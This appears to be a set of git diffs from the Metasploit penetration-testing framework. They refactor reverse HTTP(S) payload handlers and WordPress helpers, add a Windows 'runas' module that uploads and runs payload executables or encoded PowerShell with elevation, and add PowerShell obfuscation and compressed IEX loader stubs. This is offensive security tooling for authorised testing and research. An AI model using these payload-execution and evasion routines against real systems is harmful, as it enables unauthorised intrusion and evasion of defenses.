fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
end
command
end
#
# Useful method cache
#
module PshMethods
include Rex::Exploitation::Powershell::PshMethods
end
end
end

View File

@ -31,27 +31,6 @@ module ReverseHttp
"tunnel"
end
#
# Use the +refname+ to determine whether this handler uses SSL or not
#
def ssl?
!!(self.refname.index("https"))
end
#
# Return a URI of the form scheme://host:port/
#
# Scheme is one of http or https and host is properly wrapped in [] for ipv6
# addresses.
#
def full_uri
local_port = bind_port
scheme = (ssl?) ? "https" : "http"
"#{scheme}://#{datastore['LHOST']}:#{datastore['LPORT']}/"
end
#
# Initializes the HTTP SSL tunneling handler.
#
@ -77,14 +56,64 @@ module ReverseHttp
], Msf::Handler::ReverseHttp)
end
#
# Toggle for IPv4 vs IPv6 mode
#
def ipv6
self.refname.index('ipv6') ? true : false
def ipv6?
Rex::Socket.is_ipv6?(datastore['LHOST'])
end
# Determine where to bind the server
#
# @return [String]
def listener_address
if datastore['ReverseListenerBindAddress'].to_s.empty?
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
else
bindaddr = datastore['ReverseListenerBindAddress']
end
bindaddr
end
# @return [String] A URI of the form +scheme://host:port/+
def listener_uri
if ipv6?
listen_host = "[#{listener_address}]"
else
listen_host = listener_address
end
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
end
# Return a URI suitable for placing in a payload.
#
# Host will be properly wrapped in square brackets, +[]+, for ipv6
# addresses.
#
# @return [String] A URI of the form +scheme://host:port/+
def payload_uri
if ipv6?
callback_host = "[#{datastore['LHOST']}]"
else
callback_host = datastore['LHOST']
end
"#{scheme}://#{callback_host}:#{datastore['LPORT']}/"
end
# Use the {#refname} to determine whether this handler uses SSL or not
#
def ssl?
!!(self.refname.index("https"))
end
# URI scheme
#
# @return [String] One of "http" or "https" depending on whether we
# are using SSL
def scheme
(ssl?) ? "https" : "http"
end
# Create an HTTP listener
#
def setup_handler
@ -98,17 +127,11 @@ module ReverseHttp
local_port = bind_port
# Determine where to bind the HTTP(S) server to
bindaddrs = ipv6 ? '::' : '0.0.0.0'
if not datastore['ReverseListenerBindAddress'].to_s.empty?
bindaddrs = datastore['ReverseListenerBindAddress']
end
# Start the HTTPS server service on this host/port
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
local_port,
bindaddrs,
listener_address,
ssl?,
{
'Msf' => framework,
@ -130,9 +153,7 @@ module ReverseHttp
},
'VirtualDirectory' => true)
scheme = (ssl?) ? "https" : "http"
bind_url = "#{scheme}://#{bindaddrs}:#{local_port}/"
print_status("Started #{scheme.upcase} reverse handler on #{bind_url}")
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
end
#
@ -165,7 +186,6 @@ protected
# Parses the HTTPS request
#
def on_request(cli, req, obj)
sid = nil
resp = Rex::Proto::Http::Response.new
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
@ -176,7 +196,7 @@ protected
case uri_match
when /^\/INITJM/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = full_uri + conn_id + "/\x00"
url = payload_uri + conn_id + "/\x00"
blob = ""
blob << obj.generate_stage
@ -239,10 +259,10 @@ protected
blob[i, proxyinfo.length] = proxyinfo
print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...")
#Optional authentification
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
datastore['PROXY_TYPE'] == 'SOCKS'
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
proxy_username = datastore['PROXY_USERNAME'] << "\x00"
blob[proxy_username_loc, proxy_username.length] = proxy_username
@ -266,7 +286,7 @@ protected
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
i = blob.index("https://" + ("X" * 256))
if i
url = full_uri + conn_id + "/\x00"
url = payload_uri + conn_id + "/\x00"
blob[i, url.length] = url
end
print_status("Patched URL at offset #{i}...")
@ -308,7 +328,7 @@ protected
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => full_uri + conn_id + "/\x00",
:url => payload_uri + conn_id + "/\x00",
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?,

View File

@ -45,6 +45,7 @@ module Msf
# Map "random" URIs to static strings, allowing us to randomize
# the URI sent in the first request.
#
# @param uri_match [String] The URI string to convert back to the original static value
# @return [String] The static URI value derived from the checksum
def process_uri_resource(uri_match)
@ -69,6 +70,7 @@ module Msf
end
# Create a URI that matches a given checksum
#
# @param sum [Fixnum] The checksum value you are trying to create a URI for
# @return [String] The URI string that checksums to the given value
def generate_uri_checksum(sum)

View File

@ -1,34 +0,0 @@
# -*- coding: binary -*-
require 'msf/core/handler/reverse_http'
module Msf
module Handler
###
#
# This handler implements the HTTP tunneling interface.
#
###
module ReverseIPv6Http
include Msf::Handler::ReverseHttp
#
# Override the handler_type to indicate IPv6 mode
#
def self.handler_type
return "reverse_ipv6_http"
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self.general_handler_type
"tunnel"
end
end
end
end

View File

@ -1,35 +0,0 @@
# -*- coding: binary -*-
require 'msf/core/handler/reverse_http'
require 'msf/core/handler/reverse_https'
module Msf
module Handler
###
#
# This handler implements the HTTP SSL tunneling interface.
#
###
module ReverseIPv6Https
include Msf::Handler::ReverseHttps
#
# Override the handler_type to indicate IPv6 mode
#
def self.handler_type
return "reverse_ipv6_https"
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self.general_handler_type
"tunnel"
end
end
end
end

View File

@ -18,7 +18,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
# Yields the module_reference_name for each module file found under the directory path.
#
# @param [String] path The path to the directory.
# @param [Array] modules An array of regex patterns to search for specific modules
# @param [Hash] opts Input Hash.
# @yield (see Msf::Modules::Loader::Base#each_module_reference_name)
# @yieldparam [String] path The path to the directory.
# @yieldparam [String] type The type correlated with the directory under path.

View File

@ -11,6 +11,7 @@ module Msf::Post::Windows
require 'msf/core/post/windows/process'
require 'msf/core/post/windows/railgun'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/runas'
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/wmic'
require 'msf/core/post/windows/netapi'

View File

@ -0,0 +1,38 @@
# -*- coding: binary -*-
require 'msf/core/exploit/powershell'
require 'msf/core/exploit/exe'
module Msf::Post::Windows::Runas
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Powershell
def execute_exe(filename = nil, path = nil, upload = nil)
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
payload_path = path || get_env('TEMP')
cmd_location = "#{payload_path}\\#{payload_filename}"
if upload
exe_payload = generate_payload_exe
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
write_file(cmd_location, exe_payload)
else
print_status("No file uploaded, attempting to execute #{cmd_location}...")
end
shell_exec(cmd_location, nil)
end
def execute_psh
powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
command = 'cmd.exe'
args = "/c #{powershell_command}"
shell_exec(command, args)
end
def shell_exec(command, args)
print_status('Executing elevated command...')
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
end
end

View File

@ -18,8 +18,20 @@ module Msf::HTTP::Typo3::Login
return nil
end
e = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/)[1]
n = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/)[1]
e_match = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/)
if e_match.nil?
vprint_error('Can not find rsa_e value')
return nil
end
e = e_match[1]
n_match = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/)
if n_match.nil?
vprint_error('Can not find rsa_n value')
return nil
end
n = n_match[1]
vprint_debug("e: #{e}")
vprint_debug("n: #{n}")
rsa_enc = typo3_helper_login_rsa(e, n, pass)

View File

@ -25,10 +25,20 @@ module Msf
super
register_options(
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
], HTTP::Wordpress
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/'])
], HTTP::Wordpress
)
register_advanced_options(
[
Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content'])
], HTTP::Wordpress
)
end
def wp_content_dir
datastore['WPCONTENTDIR']
end
end
end

View File

@ -1,28 +1,23 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Base
# Checks if the site is online and running wordpress
#
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
def wordpress_and_online?
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return res if res and
res.code == 200 and
(
res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or
res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i or
res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'] \/>/i
)
return nil
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Error connecting to #{target_uri}")
return nil
end
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
wordpress_detect_regexes = [
/["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i,
/<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i,
/<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'](?: \/)*>/i
]
return res if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r }
return nil
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error("#{peer} - Error connecting to #{target_uri}: #{e}")
return nil
end
end

View File

@ -49,7 +49,7 @@ module Msf::HTTP::Wordpress::Helpers
options.merge!({'vars_post' => vars_post})
options.merge!({'cookie' => login_cookie}) if login_cookie
res = send_request_cgi(options)
if res and (res.code == 301 or res.code == 302) and res.headers['Location']
if res && res.redirect? && res.redirection
return wordpress_helper_parse_location_header(res)
else
message = "#{peer} - Post comment failed."
@ -101,7 +101,7 @@ module Msf::HTTP::Wordpress::Helpers
else
return res.body
end
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
elsif res && res.redirect? && res.redirection
path = wordpress_helper_parse_location_header(res)
return wordpress_helper_check_post_id(path, comments_enabled, login_cookie)
end
@ -113,9 +113,9 @@ module Msf::HTTP::Wordpress::Helpers
# @param res [Rex::Proto::Http::Response] The HTTP response
# @return [String,nil] the path and query, nil on error
def wordpress_helper_parse_location_header(res)
return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location']
return nil unless res && res.redirect? && res.redirection
location = res.headers['Location']
location = res.redirection
path_from_uri(location)
end

View File

@ -1,6 +1,6 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Login
module Msf::HTTP::Wordpress::Login
# performs a wordpress login
#
# @param user [String] Username
@ -8,21 +8,23 @@ module Msf::HTTP::Wordpress::Login
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
def wordpress_login(user, pass)
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
res = send_request_cgi({
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_login,
'vars_post' => wordpress_helper_login_post_data(user, pass, redirect)
})
if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect
)
if res && res.redirect? && res.redirection && res.redirection.to_s == redirect
cookies = res.get_cookies
# Check if a valid wordpress cookie is returned
return cookies if cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
return cookies if
# current Wordpress
cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
# Wordpress 2.0
cookies =~ /wordpress(?:user|pass)_[^=]+=[^;]+;/i ||
# Wordpress 2.5
cookies =~ /wordpress_[a-z0-9]+=[^;]+;/i
end
return nil
nil
end
end

View File

@ -112,7 +112,7 @@ module Msf::HTTP::Wordpress::Posts
count = max_redirects
# Follow redirects
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
while res.redirect? && res.redirection && count != 0
path = wordpress_helper_parse_location_header(res)
return nil unless path

View File

@ -80,4 +80,25 @@ module Msf::HTTP::Wordpress::URIs
normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
end
# Returns the Wordpress wp-content dir URL
#
# @return [String] Wordpress wp-content dir URL
def wordpress_url_wp_content
normalize_uri(target_uri.path, wp_content_dir)
end
# Returns the Wordpress plugins dir URL
#
# @return [String] Wordpress plugins dir URL
def wordpress_url_plugins
normalize_uri(wordpress_url_wp_content, 'plugins')
end
# Returns the Wordpress themes dir URL
#
# @return [String] Wordpress themes dir URL
def wordpress_url_themes
normalize_uri(wordpress_url_wp_content, 'themes')
end
end

View File

@ -33,7 +33,7 @@ module Msf::HTTP::Wordpress::Users
'uri' => url
})
if res and res.code == 301
if res and res.redirect?
uri = wordpress_helper_parse_location_header(res)
return nil unless uri
# try to extract username from location

View File

@ -2,63 +2,124 @@
module Msf::HTTP::Wordpress::Version
# Used to check if the version is correct: must contain at least one dot
WORDPRESS_VERSION_PATTERN = '([^\r\n"\']+\.[^\r\n"\']+)'
# Extracts the Wordpress version information from various sources
#
# @return [String,nil] Wordpress version if found, nil otherwise
def wordpress_version
# detect version from generator
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{wordpress_version_pattern}" \/>/i)
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{WORDPRESS_VERSION_PATTERN}" \/>/i)
return version if version
# detect version from readme
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{wordpress_version_pattern}/i)
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{WORDPRESS_VERSION_PATTERN}/i)
return version if version
# detect version from rss
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}<\/generator>/i)
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}<\/generator>/i)
return version if version
# detect version from rdf
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}" \/>/i)
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}" \/>/i)
return version if version
# detect version from atom
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{wordpress_version_pattern}">WordPress<\/generator>/i)
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{WORDPRESS_VERSION_PATTERN}">WordPress<\/generator>/i)
return version if version
# detect version from sitemap
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{wordpress_version_pattern}"/i)
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i)
return version if version
# detect version from opml
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{wordpress_version_pattern}"/i)
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i)
return version if version
nil
end
private
# Used to check if the version is correct: must contain at least one dot.
# Checks a readme for a vulnerable version
#
# @return [ String ]
def wordpress_version_pattern
'([^\r\n"\']+\.[^\r\n"\']+)'
# @param [String] plugin_name The name of the plugin
# @param [String] fixed_version The version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
#
# @return [ Msf::Exploit::CheckCode ]
def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil)
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
end
# Checks a readme for a vulnerable version
#
# @param [String] theme_name The name of the theme
# @param [String] fixed_version The version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
#
# @return [ Msf::Exploit::CheckCode ]
def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil)
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
end
private
def wordpress_version_helper(url, regex)
res = send_request_cgi({
'method' => 'GET',
'uri' => url
})
res = send_request_cgi(
'method' => 'GET',
'uri' => url
)
if res
match = res.body.match(regex)
if match
return match[1]
end
return match[1] if match
end
nil
end
def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil)
case type
when :plugin
folder = 'plugins'
when :theme
folder = 'themes'
else
fail("Unknown readme type #{type}")
end
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'readme.txt')
res = send_request_cgi(
'uri' => readme_url,
'method' => 'GET'
)
# no readme.txt present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
# readme present, but no version number
return Msf::Exploit::CheckCode::Detected if version.nil?
vprint_status("#{peer} - Found version #{version} of the #{type}")
# Version older than fixed version
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
if vuln_introduced_version.nil?
# All versions are vulnerable
return Msf::Exploit::CheckCode::Appears
# vuln_introduced_version provided, check if version is newer
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
return Msf::Exploit::CheckCode::Appears
else
# Not in range, nut vulnerable
return Msf::Exploit::CheckCode::Safe
end
# version newer than fixed version
else
return Msf::Exploit::CheckCode::Safe
end
end
end

View File

@ -1802,7 +1802,7 @@ class Db
# Miscellaneous option helpers
#
# Parse +arg+ into a {RangeWalker} and append the result into +host_ranges+
# Parse +arg+ into a {Rex::Socket::RangeWalker} and append the result into +host_ranges+
#
# @note This modifies +host_ranges+ in place
#

View File

@ -1084,17 +1084,18 @@ require 'msf/core/exe/segment_injector'
end
def self.to_win32pe_psh_net(framework, code, opts={})
hash_sub = {}
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_threadHandle] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_output] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_temp] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_codeProvider] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:var_code)
rig.init_var(:var_kernel32)
rig.init_var(:var_baseaddr)
rig.init_var(:var_threadHandle)
rig.init_var(:var_output)
rig.init_var(:var_codeProvider)
rig.init_var(:var_compileParams)
rig.init_var(:var_syscode)
rig.init_var(:var_temp)
hash_sub = rig.to_h
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")

View File

@ -0,0 +1,62 @@
# -*- coding: binary -*-
require 'rex/exploitation/powershell/output'
require 'rex/exploitation/powershell/parser'
require 'rex/exploitation/powershell/obfu'
require 'rex/exploitation/powershell/param'
require 'rex/exploitation/powershell/function'
require 'rex/exploitation/powershell/script'
require 'rex/exploitation/powershell/psh_methods'
module Rex
module Exploitation
module Powershell
#
# Reads script into a PowershellScript
#
# @param script_path [String] Path to the Script File
#
# @return [Script] Powershell Script object
def self.read_script(script_path)
Rex::Exploitation::Powershell::Script.new(script_path)
end
#
# Insert substitutions into the powershell script
# If script is a path to a file then read the file
# otherwise treat it as the contents of a file
#
# @param script [String] Script file or path to script
# @param subs [Array] Substitutions to insert
#
# @return [String] Modified script file
def self.make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
end
subs.each do |set|
script.gsub!(set[0], set[1])
end
script
end
#
# Return an array of substitutions for use in make_subs
#
# @param subs [String] A ; seperated list of substitutions
#
# @return [Array] An array of substitutions
def self.process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
new_subs
end
end
end
end

View File

@ -0,0 +1,63 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
class Function
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im)
attr_accessor :code, :name, :params
include Output
include Parser
include Obfu
def initialize(name, code)
@name = name
@code = code
populate_params
end
#
# To String
#
# @return [String] Powershell function
def to_s
"function #{name} #{code}"
end
#
# Identify the parameters from the code and
# store as Param in @params
#
def populate_params
@params = []
start = code.index(PARAMETER_REGEX)
return unless start
# Get start of our block
idx = scan_with_index('(', code[start..-1]).first.last + start
pclause = block_extract(idx)
matches = pclause.scan(FUNCTION_REGEX)
# Ignore assignment, create params with class and variable names
matches.each do |param|
klass = nil
name = nil
param.each do |value|
if value
if klass
name = value
@params << Param.new(klass, name)
break
else
klass = value
end
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,98 @@
# -*- coding: binary -*-
require 'rex/text'
module Rex
module Exploitation
module Powershell
module Obfu
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i)
WINDOWS_EOL_REGEX = Regexp.new(/[\r\n]+/)
UNIX_EOL_REGEX = Regexp.new(/[\n]+/)
WHITESPACE_REGEX = Regexp.new(/\s+/)
EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
#
# Remove comments
#
# @return [String] code without comments
def strip_comments
# Multi line
code.gsub!(MULTI_LINE_COMMENTS_REGEX, '')
# Single line
code.gsub!(SINGLE_LINE_COMMENTS_REGEX, '')
code
end
#
# Remove empty lines
#
# @return [String] code without empty lines
def strip_empty_lines
# Windows EOL
code.gsub!(WINDOWS_EOL_REGEX, "\r\n")
# UNIX EOL
code.gsub!(UNIX_EOL_REGEX, "\n")
code
end
#
# Remove whitespace
# This can break some codes using inline .NET
#
# @return [String] code with whitespace stripped
def strip_whitespace
code.gsub!(WHITESPACE_REGEX, ' ')
code
end
#
# Identify variables and replace them
#
# @return [String] code with variable names replaced with unique values
def sub_vars
# Get list of variables, remove reserved
get_var_names.each do |var, _sub|
code.gsub!(var, "$#{@rig.init_var(var)}")
end
code
end
#
# Identify function names and replace them
#
# @return [String] code with function names replaced with unique
# values
def sub_funcs
# Find out function names, make map
get_func_names.each do |var, _sub|
code.gsub!(var, @rig.init_var(var))
end
code
end
#
# Perform standard substitutions
#
# @return [String] code with standard substitution methods applied
def standard_subs(subs = %w(strip_comments strip_whitespace sub_funcs sub_vars))
# Save us the trouble of breaking injected .NET and such
subs.delete('strip_whitespace') unless get_string_literals.empty?
# Run selected modifiers
subs.each do |modifier|
send(modifier)
end
code.gsub!(EMPTY_LINE_REGEX, '')
code
end
end # Obfu
end
end
end

View File

@ -0,0 +1,151 @@
# -*- coding: binary -*-
require 'zlib'
require 'rex/text'
module Rex
module Exploitation
module Powershell
module Output
#
# To String
#
# @return [String] Code
def to_s
code
end
#
# Returns code size
#
# @return [Integer] Code size
def size
code.size
end
#
# Return code with numbered lines
#
# @return [String] Powershell code with line numbers
def to_s_lineno
numbered = ''
code.split(/\r\n|\n/).each_with_index do |line, idx|
numbered << "#{idx}: #{line}"
end
numbered
end
#
# Return a zlib compressed powershell code wrapped in decode stub
#
# @param eof [String] End of file identifier to append to code
#
# @return [String] Zlib compressed powershell code wrapped in
# decompression stub
def deflate_code(eof = nil)
# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(code,
::Zlib::BEST_COMPRESSION)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = '$s=New-Object IO.MemoryStream(,'
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression << '$s.ReadByte();'
psh_expression << '$s.ReadByte();'
# Uncompress and invoke the expression (execute)
psh_expression << 'IEX (New-Object IO.StreamReader('
psh_expression << 'New-Object IO.Compression.DeflateStream('
psh_expression << '$s,'
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
psh_expression << ')).ReadToEnd();'
# If eof is set, add a marker to signify end of code output
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
psh_expression << "echo '#{eof}';" if eof
@code = psh_expression
end
#
# Return Base64 encoded powershell code
#
# @return [String] Base64 encoded powershell code
def encode_code
@code = Rex::Text.encode_base64(Rex::Text.to_unicode(code))
end
#
# Return a gzip compressed powershell code wrapped in decoder stub
#
# @param eof [String] End of file identifier to append to code
#
# @return [String] Gzip compressed powershell code wrapped in
# decompression stub
def gzip_code(eof = nil)
# Compress using the Deflate algorithm
compressed_stream = Rex::Text.gzip(code)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = '$s=New-Object IO.MemoryStream(,'
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
# Uncompress and invoke the expression (execute)
psh_expression << 'IEX (New-Object IO.StreamReader('
psh_expression << 'New-Object IO.Compression.GzipStream('
psh_expression << '$s,'
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
psh_expression << ')).ReadToEnd();'
# If eof is set, add a marker to signify end of code output
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
psh_expression << "echo '#{eof}';" if eof
@code = psh_expression
end
#
# Compresses script contents with gzip (default) or deflate
#
# @param eof [String] End of file identifier to append to code
# @param gzip [Boolean] Whether to use gzip compression or deflate
#
# @return [String] Compressed code wrapped in decompression stub
def compress_code(eof = nil, gzip = true)
@code = gzip ? gzip_code(eof) : deflate_code(eof)
end
#
# Reverse the compression process
# Try gzip, inflate if that fails
#
# @return [String] Decompressed powershell code
def decompress_code
# Extract substring with payload
encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
# Decode and decompress the string
unencoded = Rex::Text.decode_base64(encoded_stream)
begin
@code = Rex::Text.ungzip(unencoded) || Rex::Text.zlib_inflate(unencoded)
rescue Zlib::GzipFile::Error
begin
@code = Rex::Text.zlib_inflate(unencoded)
rescue Zlib::DataError => e
raise RuntimeError, 'Invalid compression'
end
end
@code
end
end
end
end
end

View File

@ -0,0 +1,23 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
class Param
attr_accessor :klass, :name
def initialize(klass, name)
@klass = klass.strip
@name = name.strip.gsub(/\s|,/, '')
end
#
# To String
#
# @return [String] Powershell param
def to_s
"[#{klass}]$#{name}"
end
end
end
end
end

View File

@ -0,0 +1,183 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
module Parser
# Reserved special variables
# Acquired with: Get-Variable | Format-Table name, value -auto
RESERVED_VARIABLE_NAMES = [
'$$',
'$?',
'$^',
'$_',
'$args',
'$ConfirmPreference',
'$ConsoleFileName',
'$DebugPreference',
'$Env',
'$Error',
'$ErrorActionPreference',
'$ErrorView',
'$ExecutionContext',
'$false',
'$FormatEnumerationLimit',
'$HOME',
'$Host',
'$input',
'$LASTEXITCODE',
'$MaximumAliasCount',
'$MaximumDriveCount',
'$MaximumErrorCount',
'$MaximumFunctionCount',
'$MaximumHistoryCount',
'$MaximumVariableCount',
'$MyInvocation',
'$NestedPromptLevel',
'$null',
'$OutputEncoding',
'$PID',
'$PROFILE',
'$ProgressPreference',
'$PSBoundParameters',
'$PSCulture',
'$PSEmailServer',
'$PSHOME',
'$PSSessionApplicationName',
'$PSSessionConfigurationName',
'$PSSessionOption',
'$PSUICulture',
'$PSVersionTable',
'$PWD',
'$ReportErrorShowExceptionClass',
'$ReportErrorShowInnerException',
'$ReportErrorShowSource',
'$ReportErrorShowStackTrace',
'$ShellId',
'$StackTrace',
'$true',
'$VerbosePreference',
'$WarningPreference',
'$WhatIfPreference'
].map(&:downcase).freeze
#
# Get variable names from code, removes reserved names from return
#
# @return [Array] variable names
def get_var_names
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
end
#
# Get function names from code
#
# @return [Array] function names
def get_func_names
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
end
#
# Attempt to find string literals in PSH expression
#
# @return [Array] string literals
def get_string_literals
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
end
#
# Scan code and return matches with index
#
# @param str [String] string to match in code
